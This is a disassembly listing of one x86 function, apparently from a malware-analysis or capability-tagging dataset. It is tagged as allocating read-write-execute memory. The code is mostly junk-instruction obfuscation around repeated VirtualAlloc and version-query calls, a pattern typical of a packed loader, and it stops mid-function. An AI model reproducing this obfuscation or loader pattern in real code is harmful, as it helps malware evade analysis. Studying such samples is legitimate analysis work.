Function at 0x404ad6
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
sub eax, eax
mov dword [ebp - 0x34], 0x20
mov ecx, pe_nt_image_headers32
call fcn.004045f5
xor eax, eax
mov dword [ebp - 0x34], 0x19
test eax, eax
jb 0x404b09
xor ecx, ecx
mov cx, 0x80
xor ecx, ecx
cmp eax, 0
ja 0x404b09
or dword [ebp - 0x34], 0xffffff
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea edi, [ebp - 0x30]
lea ecx, [ebp]
mov si, 0x80
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
lea eax, [esp]
mov esi, 0x21
lea ecx, [esp]
mov dword [ebp - 0x34], 0x40
mov ecx, dword [ebp - 0x2c]
mov esi, ecx
mov edx, dword [esp]
sub eax, eax
mov edi, dword [ebp]
mov esi, dword [esp]
and dword [ebp - 0x30], 0x990099
lea edi, [ebp - 0x34]
xor edi, edi
lea esi, [esp]
mov edi, dword [esp]
sub dword [ebp - 0x2c], 0x22000022
mov edi, dword [ebp - 0x34]
sub edi, edi
mov di, 0x80
add dword [ebp - 0x34], 0x99990099
mov edi, dword [ebp]
mov edx, dword [ebp]
mov edi, dword [esp]
mov eax, dword [ebp]
and dword [ebp - 0x30], 0xeeee
xor dword [ebp - 0x2c], 0x44440044
and dword [ebp - 0x34], 0xcc
mov dword [ebp - 0x2c], 0x40
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov edx, dword [ebp - 0x34]
lea edi, [ebp - 0x34]
mov edi, 0x40
lea ecx, [esp]
mov dword [ebp - 0x34], eax
lea edi, [esp]
mov edi, 0x98
lea eax, [ebp]
or dword [ebp - 0x2c], 0xffff00ff
add dword [ebp - 0x2c], 0x666666
mov esi, 0x20
mov dword [ebp - 0x30], edx
mov edi, dword [ebp]
mov ecx, eax
mov eax, dword [ebp - 0x34]
and dword [ebp - 0x30], 0xee00ee
and dword [ebp - 0x34], 0xdd00dddd
sub dword [ebp - 0x34], 0xdddddddd
mov edi, 8
mov dword [ebp - 0x30], 0x8b
mov edi, dword [ebp - 0x34]
mov edx, eax
mov dword [ebp - 0x34], 0x80
lea edi, [esp]
or dword [ebp - 0x2c], 0xcc
mov dword [ebp - 0x34], edi
mov edi, dword [ebp - 0x30]
xor edi, edi
mov dword [ebp - 0x30], 0x2c
xor ecx, ecx
add dword [ebp - 0x2c], 0x77770077
mov edx, esi
xor dword [ebp - 0x34], 0x88008888
and dword [ebp - 0x34], 0x99009999
mov eax, 0
sub eax, eax
mov ax, 1
cmp eax, 0
jb 0x404c59
mov edx, 0
cmp eax, 0
jbe 0x404c59
lea eax, [ebp - 0x30]
and dword [ebp - 0x30], 0xff00ff
call fcn.004045f5
sub ecx, ecx
lea ecx, [ebp - 0x34]
cmp ecx, 0
jne 0x404c7c
mov edx, 0x200
mov dword [ebp - 0x2c], edx
cmp ecx, 0
jne 0x404c7c
and dword [ebp - 0x34], 0xff
push 8
push 0x2000
push 0xa00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea edx, [ebp - 0x30]
lea esi, [esp]
mov eax, dword [ebp]
lea edi, [esp]
lea ecx, [ebp]
lea edx, [ebp]
mov edi, 1
mov cx, 0x40
mov dword [ebp - 0x2c], 0x6e
or dword [ebp - 0x34], 0xff0000ff
mov dx, 0x80
or dword [ebp - 0x30], 0xffffff
mov esi, eax
sub ecx, ecx
mov ecx, dword [ebp - 0x34]
and dword [ebp - 0x34], 0x11
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
and dword [ebp - 0x2c], 0xaaaa
or dword [ebp - 0x30], 0x66666666
xor ecx, ecx
and dword [ebp - 0x34], 0xbb00bbbb
sub esi, esi
lea edi, [ebp - 0x30]
or dword [ebp - 0x2c], 0x555555
mov eax, dword [ebp]
mov eax, dword [ebp]
xor edi, edi
mov di, 0x40
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
lea edi, [esp]
lea edx, [ebp]
mov edx, ecx
mov edi, dword [esp]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], edi
mov si, 0xd0
lea eax, [ebp - 0x2c]
and dword [ebp - 0x30], 0xcccccc
add dword [ebp - 0x2c], 0x99000099
add dword [ebp - 0x2c], 0xcccccc
sub dword [ebp - 0x2c], 0xff00ff
mov edi, 0x9c
mov dword [ebp - 0x34], 8
mov eax, dword [ebp]
xor dword [ebp - 0x30], 0x9999
mov si, 0xe5
or dword [ebp - 0x34], 0x33
and dword [ebp - 0x34], 0x22002222
lea ecx, [ebp - 0x30]
and dword [ebp - 0x2c], 0x999999
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
mov esi, 0x74
mov dword [ebp - 0x30], 8
mov eax, ecx
lea esi, [ebp]
sub ecx, ecx
xor eax, eax
or dword [ebp - 0x34], 0xffff
sub dword [ebp - 0x2c], 0x20
mov ecx, 0x80
mov eax, dword [ebp - 0x30]
or dword [ebp - 0x2c], 0xffff
mov ecx, 0x20
sub ecx, ecx
push 2
push 0x8000
push 0xd00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [esp]
mov edi, 0x80
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp]
mov eax, ecx
mov dx, 0x10
mov edi, ecx
mov edi, ecx
mov edx, dword [esp]
lea edi, [esp]
add dword [ebp - 0x30], 0xcccc
lea edx, [ebp]
and dword [ebp - 0x30], 0x777777
lea eax, [ebp - 0x2c]
sub dword [ebp - 0x2c], 0xaa
sub dword [ebp - 0x34], 0x33
lea eax, [esp]
sub dword [ebp - 0x34], 0xaa
mov dword [ebp - 0x30], esi
mov edi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x30], 1
xor dword [ebp - 0x30], 0x33
and dword [ebp - 0x34], 0x88008888
mov dword [ebp - 0x2c], edi
mov edi, dword [ebp]
lea edx, [ebp]
mov si, 0x9e
sub dword [ebp - 0x34], 0xaaaa00aa
xor ecx, ecx
lea edi, [ebp - 0x2c]
or dword [ebp - 0x2c], 0xff00ffff
and dword [ebp - 0x34], 0xaaaa
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov ecx, esi
mov di, 0x80
mov edx, esi
lea esi, [esp]
mov esi, eax
lea edx, [ebp - 0x30]
mov eax, dword [ebp]
mov eax, 0xa2
lea edi, [ebp]
lea ecx, [ebp]
sub edx, edx
and dword [ebp - 0x30], 0x11000011
mov edx, 0x40
sub dword [ebp - 0x30], 0xcc00cc
xor esi, esi
mov dword [ebp - 0x2c], 0xe
mov eax, edi
mov di, 0x1b
mov eax, ecx
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 0x2c]
and dword [ebp - 0x34], 0x22222222
lea edi, [ebp]
sub edi, edi
or dword [ebp - 0x2c], 0x22002222
lea edx, [ebp]
mov di, 0xce
and dword [ebp - 0x30], 0x44440044
sub edi, edi
and dword [ebp - 0x34], 0x88008888
or dword [ebp - 0x34], 0x88888888
and dword [ebp - 0x2c], 0x22000022
xor eax, eax
or dword [ebp - 0x30], 0xffff
cmp eax, dword [ebp - 0x2c]
jb 0x404f01
xor ecx, ecx
sub ecx, ecx
cmp eax, 0xae
jb 0x404f01
and dword [ebp - 0x34], 0xffff
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov cx, 0x1d
mov esi, dword [ebp - 0x2c]
lea eax, [esp]
mov edi, eax
mov ecx, edx
lea ecx, [esp]
mov edx, 0x10
mov edi, 2
sub edx, edx
and dword [ebp - 0x30], 0x11110011
sub dword [ebp - 0x2c], 0xffff
and dword [ebp - 0x34], 0x4444
and dword [ebp - 0x34], 0xdd00dd
mov dword [ebp - 0x2c], esi
mov edi, eax
mov eax, ecx
lea edi, [ebp]
sub edi, edi
mov eax, 8
xor edx, edx
mov esi, 0x10
mov edi, dword [ebp]
mov dword [ebp - 0x2c], 1
mov esi, dword [esp]
or dword [ebp - 0x30], 0xcccccc
sub dword [ebp - 0x30], 0xcccccccc
mov edi, dword [ebp]
lea esi, [ebp - 0x34]
mov edi, 0x20
mov esi, edi
xor ecx, ecx
or dword [ebp - 0x30], 0xffff
sub eax, eax
push 2
push 0x2000
push 0x400
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, dword [ebp]
mov ecx, dword [ebp - 0x2c]
mov edi, 0x3c
mov eax, dword [esp]
mov dword [ebp - 0x2c], edi
mov ecx, dword [ebp]
lea eax, [esp]
lea eax, [ebp]
and dword [ebp - 0x30], 0x99000099
xor dword [ebp - 0x2c], 0x220022
and dword [ebp - 0x34], 0x66
and dword [ebp - 0x34], 0x222222
mov edx, dword [ebp]
mov esi, dword [esp]
xor edx, edx
mov edx, 0x29
lea eax, [ebp]
xor dword [ebp - 0x34], 0x222222
mov esi, eax
xor dword [ebp - 0x30], 0x66006666
mov eax, dword [esp]
lea ecx, [ebp]
and dword [ebp - 0x2c], 0x77777777
and dword [ebp - 0x34], 0x77000077
lea edi, [esp]
xor dword [ebp - 0x34], 0x77007777
mov esi, 1
sub eax, eax
or dword [ebp - 0x2c], 0x66660066
mov eax, 0xf3
mov eax, dword [ebp]
lea ecx, [ebp]
xor eax, eax
mov cx, 8
mov eax, dword [ebp - 0x34]
xor dword [ebp - 0x34], 0xff
sub dword [ebp - 0x30], 4
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], 0x12
test eax, eax
jne 0x405054
mov edx, dword [ebp - 0x30]
sub edx, edx
add dword [ebp - 0x2c], 6
call dword [sym.imp.KERNEL32.DLL_GetACP]
mov ecx, dword [esp]
mov edx, dword [esp]
mov esi, dword [ebp - 0x30]
mov edx, 0x10
lea edi, [esp]
lea edx, [esp]
mov edx, dword [ebp - 0x34]
mov edx, eax
lea esi, [ebp - 0x2c]
xor dword [ebp - 0x2c], 0x88
mov dword [ebp - 0x30], 0x10
lea edi, [ebp - 0x30]
mov dword [ebp - 0x2c], ecx
mov ecx, 0x71
mov si, 0x40
mov esi, dword [esp]
mov ecx, dword [esp]
mov ecx, edx
mov edx, dword [ebp]
mov dword [ebp - 0x2c], eax
xor dword [ebp - 0x2c], 0x88888888
lea edi, [esp]
mov eax, edi
or dword [ebp - 0x34], 0xcccc
and dword [ebp - 0x2c], 0x11000011
add dword [ebp - 0x2c], 0xffff00ff
mov esi, dword [esp]
mov dword [ebp - 0x30], edi
mov edx, dword [ebp - 0x34]
sub dword [ebp - 0x34], 1
xor edx, edx
and dword [ebp - 0x34], 0xffff
cmp dword [ebp - 0x34], edx
ja 0x4050e4
sub ecx, ecx
cmp dword [ebp - 0x30], edx
jbe 0x4050e4
or dword [ebp - 0x2c], 0xffff
call fcn.004071ff
mov eax, dword [ebp - 0x2c]
mov ecx, 0x5b
lea ecx, [ebp - 0x30]
mov ecx, 0x72
sub ecx, ecx
sub ecx, ecx
cmp ecx, dword [ebp - 0x34]
jbe 0x40511f
sub eax, eax
add dword [ebp - 0x2c], 0x11
cmp dword [ebp - 0x2c], ecx
ja 0x40511f
sub dword [ebp - 0x34], 0x51
mov dword [ebp - 0x2c], 0x33
push 8
push 0x2000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea eax, [ebp]
mov edx, dword [esp]
mov edi, esi
mov ecx, dword [ebp]
mov esi, dword [esp]
mov ecx, edi
mov esi, dword [esp]
mov edx, dword [esp]
lea edi, [esp]
sub esi, esi
and dword [ebp - 0x2c], 0xff
or dword [ebp - 0x2c], 0x66000066
lea edi, [esp]
lea ecx, [ebp]
lea edi, [ebp]
mov edi, dword [ebp]
lea esi, [ebp]
add dword [ebp - 0x34], 0xff00ffff
or dword [ebp - 0x30], 0x220022
mov ecx, esi
and dword [ebp - 0x34], 0x110011
and dword [ebp - 0x2c], 0xdddddddd
lea eax, [ebp]
mov ecx, 0x1f
and dword [ebp - 0x30], 0x3333
sub edi, edi
lea edx, [esp]
lea ecx, [esp]
mov esi, 0x23
mov eax, dword [ebp - 0x30]
sub dword [ebp - 0x34], 0x50
sub ecx, ecx
mov dword [ebp - 0x2c], 8
mov cx, 0x80
lea edi, [ebp - 0x2c]
push edi
call dword [sym.imp.KERNEL32.DLL_GetVersionExA]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp]
mov ecx, dword [ebp]
lea ecx, [ebp]
mov edx, dword [esp]
mov dx, 0x20
mov di, 0x7c
mov edx, dword [esp]
sub dword [ebp - 0x30], 0x11110011
lea edx, [ebp - 0x2c]
mov edx, 0x20
or dword [ebp - 0x34], 0x888888
add dword [ebp - 0x2c], 0x44
sub edi, edi
sub edi, edi
mov edi, dword [ebp - 0x30]
and dword [ebp - 0x2c], 0x66666666
mov dword [ebp - 0x2c], 0x10
sub esi, esi
mov dword [ebp - 0x34], esi
mov edi, dword [ebp - 0x2c]
and dword [ebp - 0x34], 0x77000077
mov edi, edx
lea eax, [esp]
sub ecx, ecx
mov edx, 0x16
lea ecx, [esp]
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x2c], edi
mov cx, 0xcb
mov cx, 0x40
mov ecx, dword [ebp - 0x34]
or dword [ebp - 0x34], 0xffff
mov edx, 0x12c
mov edx, 1
or dword [ebp - 0x2c], 0xffff
add dword [ebp - 0x34], 0x80
lea eax, [ebp - 0x30]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov edi, dword [ebp]
mov ecx, dword [ebp - 0x34]
mov cx, 0x40
mov eax, edi
lea ecx, [esp]
mov di, 0xf5
mov edx, dword [ebp - 0x2c]
mov edx, 0x62
xor dword [ebp - 0x30], 0x88000088
mov edi, esi
mov ax, 0x10
xor dword [ebp - 0x2c], 0xffff
add dword [ebp - 0x30], 0xcc
xor edi, edi
or dword [ebp - 0x2c], 0x330033
xor ecx, ecx
and dword [ebp - 0x2c], 0x440044
lea eax, [ebp]
and dword [ebp - 0x34], 0x99990099
sub edx, edx
xor dword [ebp - 0x30], 0xaa
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x30]
lea edi, [esp]
and dword [ebp - 0x30], 0xbb0000bb
xor esi, esi
lea edi, [ebp - 0x34]
lea ecx, [esp]
mov edi, dword [ebp]
mov ecx, dword [ebp]
xor edi, edi
mov eax, dword [ebp]
add dword [ebp - 0x2c], 0x8888
push 8
push 0x4000
push 0x500
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edx, dword [ebp - 0x30]
mov si, 0xa5
mov si, 0xf6
mov edi, dword [ebp - 0x34]
lea eax, [ebp - 0x30]
lea edi, [esp]
mov esi, 0x20
mov ecx, dword [esp]
mov cx, 2
xor dword [ebp - 0x2c], 0xbbbbbbbb
mov si, 0x20
mov edi, dword [ebp - 0x2c]
xor dword [ebp - 0x2c], 0x99000099
mov esi, dword [ebp]
xor dword [ebp - 0x30], 0xff00ff
sub dword [ebp - 0x2c], 0x66000066
mov eax, dword [esp]
and dword [ebp - 0x2c], 0xdd00dd
lea esi, [ebp]
and dword [ebp - 0x30], 0xffff00ff
xor eax, eax
mov edx, 0xe9
mov edi, dword [ebp]
mov eax, edx
or dword [ebp - 0x34], 0x6666
add dword [ebp - 0x2c], 0xbb0000bb
add dword [ebp - 0x2c], 0x3333
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
and dword [ebp - 0x2c], 0xffff
cmp ecx, dword [ebp - 0x30]
je 0x405397
sub edx, edx
sub edx, edx
xor edx, edx
mov cx, 2
push 2
push 0x8000
push 0x500
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
lea esi, [esp]
mov edi, dword [ebp]
mov di, 0x55
mov edx, dword [ebp - 0x30]
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x30], esi
lea edx, [ebp]
lea edi, [ebp]
lea edx, [ebp - 0x2c]
xor esi, esi
xor esi, esi
lea edi, [ebp]
mov dword [ebp - 0x2c], edx
sub esi, esi
mov dword [ebp - 0x2c], edi
xor esi, esi
mov edi, 0x40
sub dword [ebp - 0x30], 0xcccccc
add dword [ebp - 0x34], 0x22000022
mov dword [ebp - 0x2c], 0xad
add dword [ebp - 0x30], 0xdd00dd
and dword [ebp - 0x34], 0x22
mov esi, 0
sub dword [ebp - 0x30], 0xaa00aaaa
mov esi, edi
mov edi, dword [esp]
mov ecx, dword [ebp]
mov esi, edx
mov ax, 0x40
mov eax, 0x300
and dword [ebp - 0x30], 0xffffff
lea edx, [ebp - 0x2c]
mov ax, 0x43
and dword [ebp - 0x30], 0xff
cmp eax, 0xe0c
jb 0x40545f
and dword [ebp - 0x2c], 0xff
and dword [ebp - 0x34], 0xff
mov edx, dword [ebp - 0x2c]
mov edx, 0x20
xor eax, eax
add dword [ebp - 0x34], 0x24
mov dword [ebp - 0x30], edx
xor dword [ebp - 0x30], 0xffffff
push 8
push 0x8000
push 0xb00
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x34], edi
mov si, 8
lea esi, [ebp - 0x34]
lea edi, [ebp]
lea edi, [esp]
mov dword [ebp - 0x30], eax
mov eax, dword [esp]
lea edx, [ebp - 0x30]
lea edx, [ebp - 0x34]
mov edi, 2
lea edi, [ebp]
mov ecx, dword [ebp]
mov eax, dword [esp]
lea ecx, [ebp]
mov eax, dword [ebp]
and dword [ebp - 0x30], 0x22000022
mov edi, dword [ebp]
mov edi, dword [esp]
mov dword [ebp - 0x34], eax
mov di, 0x24
mov esi, 8
and dword [ebp - 0x30], 0xcccc00cc
mov si, 8
mov eax, dword [esp]
add dword [ebp - 0x2c], 0x66660066
mov cx, 0x20
and dword [ebp - 0x2c], 0xcc0000cc
or dword [ebp - 0x2c], 0x88880088
lea esi, [esp]
lea ecx, [ebp]
mov ecx, dword [ebp - 0x30]
xor ecx, ecx
mov edx, dword [ebp - 0x34]
push 2
push 0x4000
push pe_nt_image_headers32
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov cx, 4
lea edi, [esp]
mov ax, 4
mov cx, 0xed
lea esi, [ebp]
mov edi, dword [ebp]
mov ecx, 0x2a
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
mov edi, esi
and dword [ebp - 0x30], 0x5555
mov dx, 0x73
xor esi, esi
mov edx, dword [esp]
or dword [ebp - 0x34], 0x1111
or dword [ebp - 0x34], 0x44440044
xor eax, eax
mov edx, dword [ebp]
mov esi, edx
lea edi, [ebp - 0x2c]
lea esi, [ebp - 0x34]
sub dword [ebp - 0x2c], 0xbbbb
mov edi, dword [ebp]
mov edi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
sub dword [ebp - 0x2c], 0x9999
and dword [ebp - 0x34], 0x77770077
mov eax, dword [esp]
lea edi, [esp]
lea edx, [ebp]
lea ecx, [ebp - 0x30]
add dword [ebp - 0x34], 0x33003333
and dword [ebp - 0x2c], 0x88888888
mov esi, dword [ebp]
mov edx, dword [ebp - 0x2c]
mov ecx, 0x40
mov edx, 0x65
cmp edx, dword [ebp - 0x34]
jne 0x4055ab
xor ecx, ecx
sub dword [ebp - 0x34], 0x39
and dword [ebp - 0x34], 0xffffff
mov edi, 0
add dword [ebp - 0x30], 0x73
and dword [ebp - 0x2c], 0xffffff
cmp edi, 0
jae 0x4055d6
sub esi, esi
xor esi, esi
lea esi, [ebp - 0x30]
cmp esi, 0xe8
ja 0x4055d6
and dword [ebp - 0x2c], 0xff
add dword [ebp - 0x30], 0x1b
sub dword [ebp - 4], 0xffffffff
mov ecx, 0x64
and dword [ebp - 0x34], 0xffffff
cmp ecx, dword [ebp - 0x2c]
ja 0x405600
sub eax, eax
mov dword [ebp - 0x34], 0x20
mov ax, 0x64
test eax, eax
jbe 0x405600
sub ecx, ecx
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov dword [ebp - 0x34], eax
mov di, 0xf3
mov edi, dword [ebp - 0x2c]
mov eax, dword [ebp]
mov edi, dword [ebp]
mov eax, 1
mov edx, dword [esp]
mov dword [ebp - 0x2c], esi
mov edx, dword [ebp]
and dword [ebp - 0x34], 0x99000099
lea edx, [ebp - 0x34]
and dword [ebp - 0x2c], 0x11000011
sub ecx, ecx
mov di, 0x8d
mov edi, 0x27
mov edi, 8
xor dword [ebp - 0x34], 0xcccc
and dword [ebp - 0x2c], 0x880088
lea edi, [esp]
or dword [ebp - 0x2c], 0xee00ee
mov edx, dword [ebp - 0x30]
mov ax, 0xe5
lea eax, [ebp - 0x30]
mov dword [ebp - 0x2c], 0xe6
xor dword [ebp - 0x34], 0x55550055
mov edi, 4
mov dword [ebp - 0x30], edi
or dword [ebp - 0x30], 0xee0000ee
mov edx, dword [ebp - 0x34]
mov dx, 0x2d
xor dword [ebp - 0x2c], 0x99000099
mov ecx, esi
add dword [ebp - 0x34], 0x880088
mov edx, 0x12c
sub dword [ebp - 0x34], 0x80
cmp dword [ebp - 0x30], edx
je 0x4056bc
mov ecx, 0x300
add dword [ebp - 0x2c], 4
cmp ecx, 0
ja 0x4056bc
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
mov ecx, edi
lea edi, [esp]
mov edi, dword [ebp]
mov esi, dword [esp]
mov ecx, 0x40
lea eax, [esp]
mov dword [ebp - 0x30], edi
mov edi, dword [ebp]
sub edx, edx
xor dword [ebp - 0x30], 0xbb
lea esi, [esp]
lea esi, [ebp]
mov eax, dword [esp]
or dword [ebp - 0x2c], 0x77770077
xor dword [ebp - 0x34], 0x22002222
mov edi, esi
lea ecx, [esp]
xor esi, esi
lea edx, [esp]
sub edx, edx
mov edi, dword [ebp - 0x30]
sub esi, esi
and dword [ebp - 0x2c], 0x99
xor ecx, ecx
add dword [ebp - 0x34], 0xdddddd
lea edx, [ebp - 0x34]
lea edi, [esp]
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
sub esi, esi
or dword [ebp - 0x34], 0xff
sub dword [ebp - 0x34], 0x11
xor esi, esi
cmp dword [ebp - 0x2c], esi
jne 0x40575d
mov edi, dword [ebp - 0x30]
mov dword [ebp - 0x2c], 0x80
and dword [ebp - 0x2c], 0xffffff
lea esi, [ebp - 0x30]
xor dword [ebp - 0x30], 0xffff
sub dword [ebp - 0x34], 0x1b
xor ecx, ecx
sub edx, edx
mov edx, 0x80
xor edx, edx
cmp edx, 0x62
ja 0x40577c
mov edi, dword [ebp - 0x30]
and dword [ebp - 0x30], 0xffff
cmp dword [ebp - 0x34], edi
ja 0x40577c
sub edi, edi
mov edx, 0xc8
mov eax, 0x200
xor ecx, dword [ebp - 4]
xor edi, dword [ecx]
mov edx, 0x64
and dword [ebp - 0x30], 0xffff
and dword [ebp - 0x2c], 0xff00ff
cmp edx, 0
je 0x4057ac
mov eax, 0
sub eax, eax
mov edx, pe_nt_image_headers32
lea edx, [ebp - 0x2c]
cmp edx, dword [ebp - 0x34]
jae 0x4057ca
mov eax, pe_nt_image_headers32
cmp edx, 0
jbe 0x4057cc
and dword [ebp - 0x2c], 0xffffff
xor eax, eax
mov ax, 4
xor edi, 0x18a164
sub edx, edx
and dword [ebp - 0x30], 0xffff
mov edx, 0x28
and dword [ebp - 0x34], 0xff
xor edx, edx
sub eax, eax
and dword [ebp - 0x30], 0xffffff
mov edx, 0
xor edx, edx
cmp dword [ebp - 0x2c], edx
jbe 0x405813
mov eax, pe_nt_image_headers32
cmp eax, 0
je 0x405813
mov dword [ebp - 0x30], 0x80
test edi, edi
jne 0x4055ab
mov edx, 0
sub dword [ebp - 0x30], 0x26
test edx, edx
jbe 0x405833
sub ecx, ecx
mov cx, 0x40
cmp edx, 0
je 0x405833
call dword [sym.imp.KERNEL32.DLL_GetACP]
lea esi, [esp]
mov ecx, 4
mov ecx, dword [esp]
lea eax, [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov di, 2
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x34], esi
xor edx, edx
xor ecx, ecx
mov edi, dword [ebp - 0x2c]
mov edi, dword [ebp - 0x2c]
mov ax, 0x86
sub edi, edi
mov eax, 0x3e
mov edi, dword [esp]
add dword [ebp - 0x34], 0xff
mov esi, 0x20
and dword [ebp - 0x34], 0x11
sub dword [ebp - 0x2c], 0xcc0000cc
add dword [ebp - 0x34], 0xcc
add dword [ebp - 0x34], 0x440044
mov dword [ebp - 0x2c], 0x54
lea eax, [esp]
or dword [ebp - 0x34], 0x9999
mov ax, 0xe4
mov dword [ebp - 0x30], 0xf8
lea edx, [ebp]
and dword [ebp - 0x30], 0x33333333
xor dword [ebp - 0x34], 0x55555555
lea ecx, [esp]
and dword [ebp - 0x2c], 0xeeeeeeee
and dword [ebp - 0x2c], 0xbb00bbbb
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
sub edx, edx
xor edx, edx
sub dword [ebp - 0x34], 0x24
push 8
push 0x8000
push 0x700
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, 0x80
mov ecx, dword [ebp]
mov eax, dword [esp]
mov edi, dword [esp]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp]
lea eax, [ebp]
mov ax, 0x6d
xor edi, edi
mov esi, dword [esp]
mov dword [ebp - 0x30], esi
sub ecx, ecx
or dword [ebp - 0x34], 0xdd
sub dword [ebp - 0x34], 0xbbbb00bb
lea eax, [esp]
lea edx, [esp]
mov eax, dword [ebp - 0x30]
mov eax, ecx
and dword [ebp - 0x2c], 0x22222222
mov edi, dword [ebp]
sub edi, edi
mov edi, 8
and dword [ebp - 0x2c], 0xcc00cc
lea eax, [ebp]
sub eax, eax
mov edi, dword [ebp]
and dword [ebp - 0x2c], 0xdddddd
mov dword [ebp - 0x2c], ecx
add dword [ebp - 0x34], 0x99
mov edx, ecx
lea ecx, [esp]
mov esi, dword [ebp]
sub dword [ebp - 0x34], 0x11001111
or dword [ebp - 0x30], 0x66666666
mov eax, 0xc8
and dword [ebp - 0x30], 0xff00ff
and dword [ebp - 0x34], 0xffff
and dword [ebp - 0x34], 0xffff
cmp eax, 0
jae 0x4059a7
and dword [ebp - 0x2c], 0xff
sub edx, edx
or dword [ebp - 0x34], 0xffff
xor eax, eax
push 4
push 0x4000
push 0x400
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov edi, 4
mov ecx, edi
lea eax, [esp]
lea edx, [ebp - 0x34]
mov dx, 0x19
lea edi, [esp]
mov esi, 0x20
mov ecx, 0xd7
mov ecx, dword [ebp - 0x2c]
sub dword [ebp - 0x2c], 0xee
lea edi, [ebp - 0x34]
mov dword [ebp - 0x30], edi
or dword [ebp - 0x2c], 0xcccc00cc
mov dword [ebp - 0x30], 0x28
xor dword [ebp - 0x34], 0xbb00bb
mov di, 0x2a
sub dword [ebp - 0x34], 0x99000099
lea ecx, [esp]
and dword [ebp - 0x30], 0xeeee00ee
or dword [ebp - 0x30], 0xaaaa
mov edx, dword [ebp]
mov edi, dword [esp]
mov edi, dword [ebp]
sub dword [ebp - 0x34], 0x22002222
add dword [ebp - 0x2c], 0xeeee
xor eax, eax
mov dword [ebp - 0x34], 4
mov eax, dword [ebp - 0x30]
and dword [ebp - 0x30], 0x888888
and dword [ebp - 0x34], 0x777777
sub ecx, ecx
mov ecx, pe_nt_image_headers32
add dword [ebp - 0x30], 1
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp - 0x34]
push 4
push 0x2000
push 0x200
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov eax, dword [ebp]
lea ecx, [esp]
mov edi, dword [esp]
mov esi, 0xce
lea edx, [ebp]
mov edi, dword [ebp - 0x2c]
lea esi, [ebp - 0x30]
mov eax, dword [ebp]
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x2c], 0x32
sub esi, esi
mov edi, 0x20
add dword [ebp - 0x30], 0x77770077
xor eax, eax
or dword [ebp - 0x30], 0xcccc00cc
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], esi
lea esi, [ebp - 0x34]
and dword [ebp - 0x30], 0xee
and dword [ebp - 0x2c], 0x66
xor esi, esi
lea esi, [ebp]
and dword [ebp - 0x2c], 0xee00ee
mov dword [ebp - 0x34], 1
mov edx, dword [esp]
lea eax, [ebp]
sub dword [ebp - 0x30], 0x99000099
sub ecx, ecx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
add dword [ebp - 0x30], 0x50
inc dword [ebp - 4]
xor edx, edx
lea edx, [ebp - 0x30]
test edx, edx
je 0x405b02
xor edi, edi
cmp dword [ebp - 0x30], edi
jne 0x405b02
sub esi, esi
mov edx, dword [ebp - 0x34]
xor dword [ebp - 0x2c], 0xffffff
cmp dword [ebp - 0x2c], edx
jbe 0x405b1f
sub edi, edi
xor edi, edi
mov di, 8
test edi, edi
jb 0x405b22
mov dword [ebp - 0x34], edx
lea edi, [ebp - 0x34]
add esi, dword [ebp - 4]
mov edx, dword [ebp - 0x30]
xor edx, edx
xor dword [ebp - 0x30], 0xff00ff
cmp edx, 0x29
jne 0x405b4e
sub edi, edi
sub dword [ebp - 0x34], 8
or dword [ebp - 0x30], 0xffff
cmp edi, 0xf0
ja 0x405b4e
mov edi, 0x20
mov dword [ebp - 0x34], 0x66
mov eax, dword [esi]
sub edx, edx
sub ecx, ecx
add dword [ebp - 0x30], 8
mov dword [ebp - 0x34], 0x3c
mov ecx, 0
mov dx, 0x52
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x34]
sub ecx, ecx
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x2c], 8
add dword [ebp - 0x30], 8
add dword [ebp - 0x34], 2
push 0x40
